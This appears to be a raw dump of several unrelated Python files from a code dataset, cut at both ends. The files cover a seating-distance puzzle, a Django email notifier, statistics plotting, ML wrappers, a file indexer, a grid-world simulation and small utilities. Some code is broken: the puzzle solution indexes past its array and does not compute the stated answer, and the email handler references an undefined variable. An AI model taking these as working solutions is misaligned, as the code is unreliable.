наш маркетплейс решил провести турнир по футболу.\n# Когда ребята пришли на стадион, они увидели, что из-за простоя некоторые места на первом ряду\n# пришли в негодность и осталось только N доступных мест.\n# На первый ряд хотят сесть К человек (K < I). Как рассадить их так, чтобы социальная дистанция была максимальна?\n# Формат входных данных\n# В первой строке вводятся числа N и K. Во второй строке задаются N натуральных чисел в порядке\n# возрастания - номера доступных мест.\n# Формат результата\n# Выведите одно число - максимально возможная социальная дистанция (в количестве мест).\n#\n# Пример работы программы:\n# Входные данные\n# 6 3\n# 2 5 7 11 15 20\n#\n# Результат работы\n# 9\n# Входные данные:\n# 5 3\n# 1 2 3 100 1000\n# Результат работы\n# 99\n\ndef main():\n N, K = map(int, input().split())\n available_seats = list(map(int, input().split()))\n\n seats_left = [0] * N\n for seat in available_seats:\n seats_left[seat - 1] = 1\n\n max_distance = 0\n for i in range(N):\n if seats_left[i]:\n continue\n\n current_distance = i + 1\n j = i + K\n while j < N and seats_left[j]:\n current_distance += 1\n j += K\n max_distance = max(max_distance, current_distance)\n print(max_distance)\n\nif __name__ == '__main__':\n main()\n\n\n\n\n","repo_name":"Alard06/students_offers","sub_path":"26.09/5008193-5.py","file_name":"5008193-5.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34877187327","text":"from django.core.mail import EmailMessage\nfrom datetime import datetime\nimport json\nimport os\nfrom Orchestrator.settings import email_config\n\ndef send_email(file_dir,missing_findings,email_to):\n\tif not email_config['HOST_USER']:\n\t\tprint(\"Couldn't seend email, email user not configurated\")\n\t\treturn\n\tmessage=\"Doc with findings attached to mail\\n\"\n\tmessage+=\"The following findings were not found in the KB:\\n\"\n\tfor finding in missing_findings:\n\t\tmessage+=finding['title']+'\\n'\n\t\tif finding['extra_info']:\n\t\t\tmessage+='\\t'+'EXTRA INFO: '+str(finding['extra_info'])+'\\n'\n\temail = EmailMessage(\"Orchestator: Vuls finded\", message, settings['HOST_USER'], [email_to])\n\temail.attach_file(file_dir)\n\temail.send()\n\tprint(\"An email has been send succesfully at:\"+str(datetime.now()))\n\ndef send_notification_email(findings,email_to):\n\tif not settings['HOST_USER']:\n\t\tprint(\"Couldn't seend email, email user not configurated\")\n\t\treturn","repo_name":"badBounty/Orchestrator","sub_path":"Orchestrator/OrchestratorApp/src/comms/email_handler.py","file_name":"email_handler.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8241310273","text":"import bbobbenchmarks as bn\nimport numpy as np\nimport sys\n\n# argv: functionId, instanceId, [parameters to evaluate]\ndef main(argv):\n funId = int(argv[0])\n instance = int(argv[1])\n funcArgs = argv[2:]\n parameters = np.array(funcArgs, dtype=float)\n funcInstance = bn.instantiate(funId, instance)\n function = funcInstance[0]\n optVal = funcInstance[1]\n \n result = function(parameters)\n deltaOpt = (result - optVal)\n output = \"result=%f\" % deltaOpt\n print(output)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"OPTANO/optano.algorithm.tuner.examples","sub_path":"Tools/bbobeval.py","file_name":"bbobeval.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29417140910","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport math\nfrom scipy.special import factorial\nfrom scipy import stats\n\nfrom lab4_kernel_estimation.distribution import Distribution\nfrom lab4_kernel_estimation.kernel_density_estimation import KernelDensityEstimation\nfrom lab4_kernel_estimation.empirical_distribution import EmpiricalDistribution\n\nRANDOM_SEED = 166\nPATH_PLOTS = 'plots\\\\'\n\nX_LIM_CONTINUOUS = [-4, 4]\nX_LIM_POISSON = [6, 14]\nN_POINTS = 1000\n\n\ndef plot_kernel_density_estimation_with_density(distribution, size_list, bandwidth_list, x_lim):\n\n plt.suptitle(f'{distribution.name} distribution')\n for size in size_list:\n\n fig_num = len(size_list)\n fig, ax = plt.subplots(1, fig_num, figsize=(12, 6))\n plt.subplots_adjust(wspace=0.4)\n\n for i, bandwidth in enumerate(bandwidth_list):\n data = distribution.f_data_generator(size)\n\n density_x = np.linspace(x_lim[0], x_lim[1], N_POINTS, endpoint=True)\n density_y = np.vectorize(distribution.f_density)(density_x)\n\n # kde = stats.gaussian_kde(data, bw_method='silverman')\n # kde.set_bandwidth(kde.factor * bandwidth)\n\n kde = KernelDensityEstimation(data, bandwidth)\n kde_y = kde.evaluate(density_x)\n\n ax[i].plot(density_x, density_y, linewidth=1, label='density function')\n ax[i].plot(density_x, kde_y, linewidth=1, label='kernel density \\n estimation')\n\n ax[i].set_ylim([0, 1])\n\n ax[i].legend(fontsize='small')\n ax[i].set_title(f'{distribution.name} n = {size}, h = h_n*{bandwidth}')\n ax[i].set_xlabel('numbers')\n ax[i].set_ylabel('density')\n\n plt.savefig(f'{PATH_PLOTS}{distribution.name}_density_n={size}')\n plt.close(fig)\n\n\ndef plot_empirical_distribution(distribution, size_list, x_lim):\n fig_num = len(size_list)\n fig, ax = plt.subplots(1, fig_num, figsize=(12, 6))\n plt.subplots_adjust(wspace=0.4)\n\n for i, size in enumerate(size_list):\n data = distribution.f_data_generator(size)\n\n x = np.linspace(x_lim[0], x_lim[1], N_POINTS, endpoint=True)\n dist_y = distribution.f_distribution(x)\n\n emp_dist = EmpiricalDistribution(data)\n dist_emp_y = emp_dist.evaluate(x)\n ax[i].plot(x, dist_y, linewidth=1, label='distribution function')\n ax[i].plot(x, dist_emp_y, linewidth=1, label='empirical distribution')\n\n ax[i].legend(loc='upper left', fontsize='small')\n ax[i].set_title(f'{distribution.name} n = {size}')\n ax[i].set_xlabel('x')\n ax[i].set_ylabel('F(x)')\n\n plt.savefig(f'{PATH_PLOTS}{distribution.name}_emp_dist')\n plt.close(fig)\n\n\n\nif __name__ == '__main__':\n # np.random.seed(RANDOM_SEED)\n\n stats_norm = stats.norm()\n normal = Distribution(\n 'normal',\n lambda x: stats_norm.pdf(x),\n lambda x: stats_norm.cdf(x),\n lambda size: stats_norm.rvs(size=size)\n )\n stats_cauchy = stats.cauchy()\n cauchy = Distribution(\n 'cauchy',\n lambda x: stats_cauchy.pdf(x),\n lambda x: stats_cauchy.cdf(x),\n lambda size: stats_cauchy.rvs(size=size)\n )\n stats_laplace = stats.laplace(scale=1/math.sqrt(2))\n laplace = Distribution(\n 'laplace',\n lambda x: stats_laplace.pdf(x),\n lambda x: stats_laplace.cdf(x),\n lambda size: stats_laplace.rvs(size=size)\n )\n stats_poisson = stats.poisson(mu=10)\n poisson = Distribution(\n 'poisson',\n lambda x: np.exp(-10)*np.power(10, x)/factorial(x),\n lambda x: stats_poisson.cdf(x),\n lambda size: stats_poisson.rvs(size=size)\n )\n stats_uniform = stats.uniform(loc=-math.sqrt(3), scale=2*math.sqrt(3))\n uniform = Distribution(\n 'uniform',\n lambda x: stats_uniform.pdf(x),\n lambda x: stats_uniform.cdf(x),\n lambda size: stats_uniform.rvs(size=size)\n )\n\n distributions_cont = [normal, cauchy, laplace, uniform]\n size_list = [20, 60, 100]\n bandwidth_factor_list = [0.5, 1.0, 2.0]\n for dist in distributions_cont:\n plot_kernel_density_estimation_with_density(\n distribution=dist,\n size_list=size_list,\n bandwidth_list=bandwidth_factor_list,\n x_lim=X_LIM_CONTINUOUS\n )\n plot_empirical_distribution(\n distribution=dist,\n size_list=size_list,\n x_lim=X_LIM_CONTINUOUS\n )\n\n plot_kernel_density_estimation_with_density(\n distribution=poisson,\n size_list=size_list,\n bandwidth_list=bandwidth_factor_list,\n x_lim=X_LIM_POISSON\n )\n plot_empirical_distribution(\n distribution=poisson,\n size_list=size_list,\n x_lim=X_LIM_POISSON\n )\n\n print('lab4')\n","repo_name":"MekhailS/math-statistics-labs","sub_path":"lab4_kernel_estimation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4204249814","text":"\nclass ProbePoint(object):\n def __init__(self, row):\n values = row.split(',')\n\n self.sampleID = values[0]\n self.dateTime = values[1]\n self.sourceCode = values[2]\n self.latitude = values[3]\n self.longitude = values[4]\n self.altitude = values[5]\n self.speed = values[6]\n self.heading = values[7]\n\n self.linkPVID = None\n self.direction = None\n self.distFromRef = None\n self.distFromLink = None\n\n def __str__(self):\n return self.sampleID + ',' + self.dateTime + ',' + self.sourceCode + ',' + self.latitude + ',' + self.longitude + ',' + self.altitude + ',' + self.speed + ',' + self.heading + ',' + self.linkPVID + ',' + self.direction + ',' + str(self.distFromRef) + ',' + str(self.distFromLink)\n","repo_name":"vincehientran/GPS-Probe-Data-Analysis","sub_path":"src/ProbePoint.py","file_name":"ProbePoint.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22549000631","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 10 22:50:53 2020\n\n@author: leonard\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit as chisq\nimport Analysis_Code.utility.miscellaneous.functions as func\n\n\ndef PlotSmoothingLength(data, fromGalacticSnap=False, saveImages=False):\n \n if fromGalacticSnap == True:\n x = data.gasDensity*10**(-8)\n else:\n x = 10*data.gasDensity\n y = data.gasSmoothingLength\n popt, pcov = chisq(func.PowerLaw, x, y)\n plt.plot(x, func.PowerLaw(x, *popt), 'r-', label=\\\n r'$h_{sml}\\propto \\rho^{\\gamma}$'+ \\\n '\\n' + \\\n r'$\\gamma$=%5.4f+-%5.4f'%(popt[1], np.sqrt(abs(pcov[1,1]))))\n plt.scatter(x,y, label = \"gas particles\")\n plt.xlabel(r\"density$[M_\\odot\\,pc^{-3}]$\")\n plt.ylabel(r\"$h_{sml}[kpc]$\")\n plt.xscale(\"log\")\n plt.yscale(\"log\")\n plt.legend()\n if saveImages == True:\n filename = \"Images/SmoothingLengthVSDensity\"\n plt.savefig(filename)\n plt.show()\n plt.close()","repo_name":"leonardromano/GalaxySimulationAnalysis","sub_path":"Analysis_Code/utility/miscellaneous/SmoothingLength.py","file_name":"SmoothingLength.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9559604124","text":"from sklearn.linear_model import LinearRegression\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import GridSearchCV\n\nimport CustomSettings\nfrom DatasetHandler.DatasetProcessor import DatasetProcessor\nfrom MlMethods import Methods\n\n\nclass LogisticRegressionMethod(Methods.Method):\n grid_params = {'C': [0.0001, 0.001, 0.01, 0.1, 1, 10, 100, 1000]}\n\n def manipulate_data(self):\n self.data = self.data.drop(\"Date\", axis=1, inplace=False)\n\n def fit_model(self):\n data = DatasetProcessor.preprocess_input_data(self.data)[:-1]\n label = DatasetProcessor.prepare_labels(self.data)\n self.model = GridSearchCV(\n estimator=LogisticRegression(max_iter=1000),\n param_grid=self.grid_params,\n cv=4,\n n_jobs=CustomSettings.NB_JOBS_GRIDSEARCH,\n scoring='balanced_accuracy',\n verbose=2\n )\n self.model.fit(data, label)\n\n def forecast(self):\n data = DatasetProcessor.preprocess_input_data(self.data)\n prediction = self.model.predict(data.tail(1))\n return prediction\n\n\nclass LinearRegressionMethod(Methods.Method):\n\n def manipulate_data(self):\n self.data = self.data.drop(\"Date\", axis=1, inplace=False)\n\n def fit_model(self):\n data = DatasetProcessor.preprocess_input_data(self.data)[:-1]\n label = DatasetProcessor.prepare_labels(self.data)\n self.model = LinearRegression()\n self.model.fit(data, label)\n\n def forecast(self):\n data = DatasetProcessor.preprocess_input_data(self.data)\n prediction = self.model.predict(data.tail(1))\n return prediction\n","repo_name":"TahaBerkay/PredictCoinPrice","sub_path":"MlMethods/LinearMethods.py","file_name":"LinearMethods.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23575445451","text":"import logging\nimport pathlib\n\nimport click\n\nfrom findex import __version__\nfrom findex.db import DbExistsError\nfrom findex.index import Index, Comparison\nfrom findex.reporting import ComparisonReport\n\n\n@click.group()\n@click.version_option(__version__)\ndef cli():\n import daiquiri\n\n daiquiri.setup(level=logging.WARNING)\n\n\n@cli.command()\n@click.argument(\"directory\", type=click.Path(exists=True))\n@click.option(\n \"--db\", type=click.Path(), default=\"findex.db\", help=\"Path to generated index file.\"\n)\n@click.option(\n \"--overwrite/--no-overwrite\",\n default=False,\n help=\"Flag, whether to allow overwriting index file.\",\n)\ndef index(directory, db, overwrite):\n \"\"\"Create an hash-based file index for a directory tree.\n\n DIRECTORY is the path to the root of the file tree being indexed.\n \"\"\"\n\n index_path = pathlib.Path(db).absolute()\n directory_path = pathlib.Path(directory).absolute()\n if overwrite:\n index_path.unlink(missing_ok=True)\n\n try:\n Index(index_path).create(directory_path)\n except DbExistsError:\n click.secho(\n f\"The index {db!r} already exists, please choose another file or use the --overwrite \"\n f\"option.\",\n fg=\"bright_red\",\n )\n except Exception as ex:\n click.secho(f\"An unexpected error occured: {ex}.\", fg=\"bright_red\")\n raise\n\n\n@cli.command()\n@click.argument(\"index1\", type=click.Path(exists=True))\n@click.argument(\"index2\", type=click.Path(exists=True))\n@click.option(\n \"--db\",\n type=click.Path(),\n default=\"fcomp.db\",\n help=\"Path to generated comparison file.\",\n)\n@click.option(\n \"--overwrite/--no-overwrite\",\n default=False,\n help=\"Flag, whether to allow overwriting comparison file.\",\n)\ndef compare(index1, index2, db, overwrite):\n \"\"\"Compare two file index files INDEX1 and INDEX2.\"\"\"\n index1 = Index(pathlib.Path(index1))\n index2 = Index(pathlib.Path(index2))\n\n comparison_path = pathlib.Path(db).absolute()\n if overwrite:\n comparison_path.unlink(missing_ok=True)\n\n try:\n Comparison(comparison_path).create(index1, index2)\n except DbExistsError:\n click.secho(\n f\"The comparison {db!r} already exists, please choose another file or use the \"\n f\"--overwrite option.\",\n fg=\"bright_red\",\n )\n except Exception as ex:\n click.secho(f\"An unexpected error occured: {ex}.\", fg=\"bright_red\")\n raise\n\n\n@cli.command()\n@click.argument(\"comparison\", type=click.Path(exists=True), default=\"fcomp.db\")\n@click.option(\n \"--xlsx\",\n type=click.Path(),\n help=\"If specified an Excel report file is generated. If not a short report is printed to the \"\n \"command line.\",\n)\ndef report(comparison, xlsx):\n \"\"\"Report comparison results.\n\n COMPARISON is the path to a comparison which is analyzed.\n \"\"\"\n comparison_path = pathlib.Path(comparison).absolute()\n c = Comparison(comparison_path)\n\n if not xlsx:\n c.report_raw()\n else:\n ComparisonReport(c).write(pathlib.Path(xlsx))\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"moltob/findex","sub_path":"findex/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17730062170","text":"from matrxs.actions.action import Action, ActionResult\nfrom matrxs.objects.agent_body import AgentBody\nfrom aims.objects import Door2\n\n\"\"\"\nThis file is exactly the same as matrxs/move_actions.py.\nThe only addition is an additional check, that prevents the rescue worker from walking over\ncollapsed doors: see line 63, in _possible_movement().\n\"\"\"\n\ndef _act_move(grid_world, agent_id, dx, dy):\n agent_avatar = grid_world.get_env_object(agent_id, obj_type=AgentBody)\n loc = agent_avatar.location\n new_loc = [loc[0] + dx, loc[1] + dy]\n grid_world.registered_agents[agent_id].location = new_loc\n\n return MoveActionResult(MoveActionResult.RESULT_SUCCESS, succeeded=True)\n\n\ndef _is_possible_movement(grid_world, agent_id, dx, dy):\n return _possible_movement(grid_world, agent_id, dx, dy)\n\n\ndef _possible_movement(grid_world, agent_id, dx, dy):\n agent_avatar = grid_world.get_env_object(agent_id, obj_type=AgentBody)\n assert agent_avatar is not None\n\n loc = agent_avatar.location\n new_loc = [loc[0] + dx, loc[1] + dy]\n if 0 <= new_loc[0] < grid_world.shape[0] and 0 <= new_loc[1] < grid_world.shape[1]:\n loc_obj_ids = grid_world.grid[new_loc[1], new_loc[0]]\n if loc_obj_ids is None:\n # there is nothing at that location\n return MoveActionResult(MoveActionResult.RESULT_SUCCESS, succeeded=True)\n else:\n # Go through all objects at the desired locations\n for loc_obj_id in loc_obj_ids:\n # Check if loc_obj_id is the id of an agent\n if loc_obj_id in grid_world.registered_agents.keys():\n # get the actual agent\n loc_obj = grid_world.registered_agents[loc_obj_id]\n # Check if the agent that takes the move action is not that agent at that location (meaning that\n # for some reason the move action has no effect. If this is the case, we send the appropriate\n # result\n if loc_obj_id == agent_id:\n # The desired location contains a different agent and we cannot step at locations with agents\n return MoveActionResult(MoveActionResult.RESULT_NO_MOVE, succeeded=False)\n # Check if the agent on the other location (if not itself) is traverable. Otherwise we return that\n # the location is occupied.\n elif not loc_obj.is_traversable:\n return MoveActionResult(MoveActionResult.RESULT_OCCUPIED, succeeded=False)\n # If there are no agents at the desired location or we can move on top of other agents, we check if\n # there are objects in the way that are not passable.\n if loc_obj_id in grid_world.environment_objects.keys():\n # get the actual object\n loc_obj = grid_world.environment_objects[loc_obj_id]\n\n # if it is the rescue worker, prevent walking over collapsed doors\n if agent_id == \"rescue_worker\":\n if isinstance(loc_obj, Door2):\n room_name = loc_obj.properties['room']\n agents_in_room = grid_world.registered_agents[room_name.lower()].properties['agents']\n\n print(\" Agents in room:\", agents_in_room)\n print(\"Rescue worker trying to pass Door 2\")\n # the door of the command post has no room name, so skip it\n if not room_name:\n print(\"room_name == False, True\")\n return MoveActionResult(MoveActionResult.RESULT_SUCCESS, succeeded=True)\n\n\n # the rescue worker can walk out of a collapsed building, even if the\n # door is open\n if loc_obj.properties['collapsed'] and agent_id in agents_in_room:\n print(\"Room collapsed and agent in it, True\" )\n return MoveActionResult(MoveActionResult.RESULT_SUCCESS, succeeded=True)\n\n # the rescue worker cannot walk into a collapsed building, even if the\n # door is open\n elif loc_obj.properties['collapsed']:\n print(\"collapsed, so no\")\n return MoveActionResult(MoveActionResult.RESULT_NOT_PASSABLE_OBJECT, succeeded=False)\n\n # Check if the object is not passable, if this is not the case is_traversable is False\n if not loc_obj.is_traversable:\n # The desired location contains an object that is not passable\n return MoveActionResult(MoveActionResult.RESULT_NOT_PASSABLE_OBJECT, succeeded=False)\n\n # Either the desired location contains the agent at previous tick, and/or all objects there are passable\n return MoveActionResult(MoveActionResult.RESULT_SUCCESS, succeeded=True)\n else:\n return MoveActionResult(MoveActionResult.RESULT_OUT_OF_BOUNDS, succeeded=False)\n\n\nclass MoveActionResult(ActionResult):\n RESULT_NO_MOVE = 'Move action resulted in a new location with the agent already present.'\n RESULT_SUCCESS = 'Move action success'\n RESULT_OUT_OF_BOUNDS = 'Move action out of bounds'\n RESULT_OCCUPIED = 'Move action towards occupied space'\n RESULT_NOT_PASSABLE_OBJECT = 'Move action toward space which is not traversable by agent due object'\n\n def __init__(self, result, succeeded):\n super().__init__(result, succeeded)\n\n\nclass Move(Action):\n def __init__(self, duration_in_ticks=0):\n super().__init__(duration_in_ticks)\n self.dx = 0\n self.dy = 0\n\n def is_possible(self, grid_world, agent_id, **kwargs):\n result = _is_possible_movement(\n grid_world, agent_id=agent_id, dx=self.dx, dy=self.dy)\n return result\n\n def mutate(self, grid_world, agent_id, **kwargs):\n return _act_move(grid_world, agent_id=agent_id, dx=self.dx, dy=self.dy)\n\n\nclass MoveNorth3(Move):\n def __init__(self):\n super().__init__()\n self.dx = 0\n self.dy = -1\n\n\nclass MoveEast3(Move):\n\n def __init__(self):\n super().__init__()\n self.dx = +1\n self.dy = 0\n\n\nclass MoveSouth3(Move):\n\n def __init__(self):\n\n super().__init__()\n self.dx = 0\n self.dy = +1\n\n\nclass MoveWest3(Move):\n\n def __init__(self):\n super().__init__()\n self.dx = -1\n self.dy = 0\n","repo_name":"matrx-software/USAR-Testbed-for-Human-Agent-Teaming","sub_path":"aims/move_actions_rescue_worker.py","file_name":"move_actions_rescue_worker.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32999623906","text":"from django.db import models, NotSupportedError\nfrom django.core.exceptions import ImproperlyConfigured\n\nclass EnumField(models.Field):\n\n \"\"\"\n A field class that maps to MySQL/MariaDB's ENUM type.\n\n Usage:\n\n class ABC(models.Model):\n a = EnumField(choices=[('code-a','Label A'),...])\n\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n if 'choices' not in kwargs:\n raise ImproperlyConfigured('A list of choices is required.')\n if not isinstance(kwargs['choices'], list):\n raise ImproperlyConfigured('Wrong data type: choices must be a list.')\n if len(kwargs['choices']) < 1:\n raise ImproperlyConfigured('There must be at least one choice.')\n\n self.values = [ i[0] for i in kwargs['choices'] ]\n if not all(isinstance(v, str) for v in self.values):\n raise ImproperlyConfigured(\"MySQL ENUM values should be strings\")\n\n # synchronise null option to blank option\n if kwargs.get('blank', False):\n kwargs['null'] = True\n else:\n kwargs.pop('null', None)\n\n \"\"\"\n if 'default' not in kwargs and not kwargs.get('null', False):\n If default is not set and field is not nullable, we need a default.\n\n This corresponds to MariaDB behaviour, which is to use the first\n option as default value.\n kwargs['default'] = self.values[0]\n elif kwargs.get('null', False):\n kwargs.pop('default', None)\n \"\"\"\n\n super(EnumField, self).__init__(*args, **kwargs)\n\n def db_type(self, connection):\n if connection.settings_dict['ENGINE'] != 'django.db.backends.mysql':\n raise NotSupportedError('EnumField is only supported for MySQL/MariaDB')\n return \"enum({0})\".format( ','.join(\"'{}'\".format(v) for v in self.values) )\n\n","repo_name":"EQAR/eqar_db","sub_path":"api/uni_db/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18943300500","text":"\"\"\"\n\nCodewars Kata - 8 Kyu - Return Negative\n\nDescription:\n\nIn this simple assignment you are given a number and have to make it negative. But maybe the number is already negative?\n\nExample:\n\nmake_negative(1); # return -1\nmake_negative(-5); # return -5\nmake_negative(0); # return 0\nNotes:\n\nThe number can be negative already, in which case no change is required.\nZero (0) can't be negative, see examples above.\n\n\"\"\"\n\ndef make_negative( number ):\n if number == 0:\n return(number)\n elif number > 0:\n return (-(number))\n else:\n return (number)\n\n","repo_name":"bryceandpeas/Website-and-Book-Solutions","sub_path":"Website Solutions/Codewars Katas/8 Kyu/Python/ReturnNegative.py","file_name":"ReturnNegative.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"11741484647","text":"import json\nimport logging\n\nfrom base_exception import AppError\nfrom ranges_service import RangesService\nfrom ranges_repository import RangesRepository\nfrom connection import create_db_engine, create_db_session\nfrom query_builder import QuerySQLBuilder\nfrom response_sql import ResponseSQL\nfrom app_http_headers import AppHttpHeaders\nfrom verify_user_permissions import (\n verify_user_access,\n get_user_id_from_event,\n)\n\nheaders = AppHttpHeaders(\"application/json\", \"OPTIONS,GET\")\nengine = create_db_engine()\nsession = create_db_session(engine)\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef get_ranges_service():\n ranges_repository = RangesRepository(\n session, QuerySQLBuilder(), ResponseSQL(), logger\n )\n return RangesService(logger, ranges_repository)\n\n\ndef handler(event, _):\n try:\n user_id = get_user_id_from_event(event)\n access = verify_user_access(user_id)\n\n if not access:\n raise AppError(\"No permissions to load ranges\")\n if not event.get(\"pathParameters\").get(\"metric\", None):\n raise AppError(\"No metric provided\")\n\n metric = event.get(\"pathParameters\").get(\"metric\")\n ranges_service = get_ranges_service()\n ranges = ranges_service.get_ranges_by_metric(metric)\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps(ranges),\n \"headers\": headers.get_headers(),\n }\n\n except Exception as error:\n logger.error(error)\n return {\n \"statusCode\": 400,\n \"body\": json.dumps({\"error\": str(error)}),\n \"headers\": headers.get_headers(),\n }\n","repo_name":"kpinetwork/backend","sub_path":"src/handlers/ranges/get_ranges_by_metric_handler.py","file_name":"get_ranges_by_metric_handler.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30207914917","text":"import sys\nimport re\nfrom reportlab.pdfgen import canvas\nfrom reportlab.lib.pagesizes import portrait\nfrom PyPDF2 import PdfFileWriter, PdfFileReader\n\n'''\n\tsed -E -e 's:]*>[0-9]*\\.)|(]*>)/p' |\n\tsed -E 's:(]*>)([0-9\\.]*)(.*):\\2:g' |\n\tsed -E 's:\\.$::g' |\n\tsed -E 's: 2:\n\t\t\t\tend = float(nums[2])\n\n\t\t\tself.pages.append([page, begin, end])\n\t\tfd.close()\n\n\tdef CreatePage(self, page_num, path_of_out):\n\t\tif not(1 <= page_num and page_num < self.reader.getNumPages()):\n\t\t\treturn 1\n\n\t\twriter = PdfFileWriter()\n\t\twriter.addPage(self.reader.getPage(page_num))\n\t\toutfp = open(path_of_out, 'wb')\n\t\twriter.write(outfp)\n\t\treturn 0\n\n\tdef CreatePageOfTask(self, task_num, path_of_out):\n\t\tbegin = 0\n\t\tend = len(self.pages)\n\t\tmid = end/2\n\n\t\tif not(0 <= task_num and task_num <= self.pages[end-1][2]):\n\t\t\treturn 1\n\n\t\twhile 1:\n\t\t\tif task_num < self.pages[mid][1]:\n\t\t\t\tend = mid-1\n\t\t\t\tmid = (begin+end)/2\n\t\t\telif self.pages[mid][2] < task_num:\n\t\t\t\tbegin = mid+1\n\t\t\t\tmid = (begin+end)/2\n\t\t\telse:\n\t\t\t\tbreak\n\t\t\n\t\twriter = PdfFileWriter()\n\t\twriter.addPage(self.reader.getPage(self.pages[mid][0]))\n\t\toutfp = open(path_of_out,'wb')\n\t\twriter.write(outfp)\n\t\treturn 0\n","repo_name":"evigore/MathHelperBot","sub_path":"pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32936357702","text":"'''\nCode adopted with slight changes.\nSource: https://github.com/KevinMusgrave/pytorch-metric-learning\nDate: February 17th, 2022\n\n'''\n\n\nfrom pytorch_metric_learning.utils import common_functions\nimport torch\nfrom torch import nn\n\n\nclass MLP_head(nn.Module):\n # layer_sizes[0] is the dimension of the input\n # layer_sizes[-1] is the dimension of the output\n def __init__(self, layer_sizes, final_relu=False):\n super().__init__()\n layer_list = []\n layer_sizes = [int(x) for x in layer_sizes]\n num_layers = len(layer_sizes) - 1\n final_relu_layer = num_layers if final_relu else num_layers - 1\n for i in range(len(layer_sizes) - 1):\n input_size = layer_sizes[i]\n curr_size = layer_sizes[i + 1]\n if i < final_relu_layer:\n layer_list.append(nn.ReLU(inplace=True))\n layer_list.append(nn.Linear(input_size, curr_size))\n self.net = nn.Sequential(*layer_list)\n self.last_linear = self.net[-1]\n #self.record_these = [\"last_linear\", \"net\"]\n\n def forward(self, x):\n return self.net(x)\n\n\nclass MetricLearner(nn.Module):\n\n def __init__(self, base_encoder, config):\n super(MetricLearner, self).__init__()\n\n # create the encoder\n # num_classes is the output fc dimension, zero-initialize last BNs\n self.encoder = base_encoder(pretrained=config.pretrained)\n\n encoder = self.encoder.fc.in_features\n self.encoder.fc = common_functions.Identity()\n\n self.embedder = MLP_head([encoder, config.num_projection])\n","repo_name":"svkohler/TrueForest","sub_path":"models/MetricLearning.py","file_name":"MetricLearning.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42083387886","text":"import unittest\nimport ptdbg_ascend.common.utils as utils\n\n\nclass TestUtilsMethods(unittest.TestCase):\n def test_get_api_name_from_matcher(self):\n normal_name = \"Functional_relu__1_output\"\n unusual_name = \"Functional_norm_layer_1_output\"\n error_name = \"Tensor_onnx::connect_1_input\"\n api_name_1 = utils.get_api_name_from_matcher(normal_name)\n api_name_2 = utils.get_api_name_from_matcher(unusual_name)\n api_name_3 = utils.get_api_name_from_matcher(error_name)\n self.assertEqual(api_name_1, \"relu\")\n self.assertEqual(api_name_2, \"norm_layer\")\n self.assertEqual(api_name_3, \"\")\n\n","repo_name":"Ascend/tools","sub_path":"ptdbg_ascend/test/ut/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"21"} +{"seq_id":"22618093456","text":"__author__ = 'aammundi'\n\nfrom django.conf.urls import url, include\nfrom entity.views import EventViewSet, CampaignViewSet, TableViewSet, SpeakerViewSet, SponsorViewSet, \\\n ExhibitorViewSet, AttendeeViewSet, CoOwnerViewSet, AgendaViewSet, AgendaItemViewSet, ExhibitorEventViewSet\nfrom entity.views import EventExhibitorViewSet, EventCampaignViewSet, EventSpeakerViewSet, EventSponsorViewSet, \\\n EventMediaViewSet, EventAttendeeViewSet, EventCoOwnerViewSet,\\\n EventAgendaViewSet, EventPollViewSet, EventTaganomyViewSet, EventNotificationViewSet, \\\n EventBadgeViewSet, CampaignMediaViewSet, CampaignCoOwnerViewSet, CampaignScansViewSet\nfrom media_components.views import MediaEntitiesViewSet\nfrom rest_framework.routers import SimpleRouter\nfrom rest_framework_nested import routers\nfrom polls.urls import urlpatterns as poll_urlpatterns\nfrom taganomy.views import TaganomyViewSet\nfrom notifications.urls 